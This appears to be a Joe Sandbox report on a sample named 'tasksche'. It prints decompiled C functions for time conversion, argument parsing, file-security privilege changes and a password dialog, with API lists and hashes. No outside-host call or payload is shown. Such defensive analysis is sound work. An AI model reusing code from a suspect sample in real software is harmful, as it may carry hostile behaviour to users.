0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 6432204e49108851ba0ca3091dc21990ad638d1d62174155feb992e49f3b8922
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 6432204e49108851ba0ca3091dc21990ad638d1d62174155feb992e49f3b8922
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

z8D, xrefs: 0040D71F
-, xrefs: 0040D696

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeRestorePrivilege, xrefs: 00406867
SeSecurityPrivilege, xrefs: 00406852

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: 668843457d3f320ef4c041a0620e582976ae6b8cc17d27ec4e60122bb8f86131
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32 ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

GETPASSWORD1, xrefs: 0040E221
z8D, xrefs: 0040E1CE
z8D, xrefs: 0040E26A

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
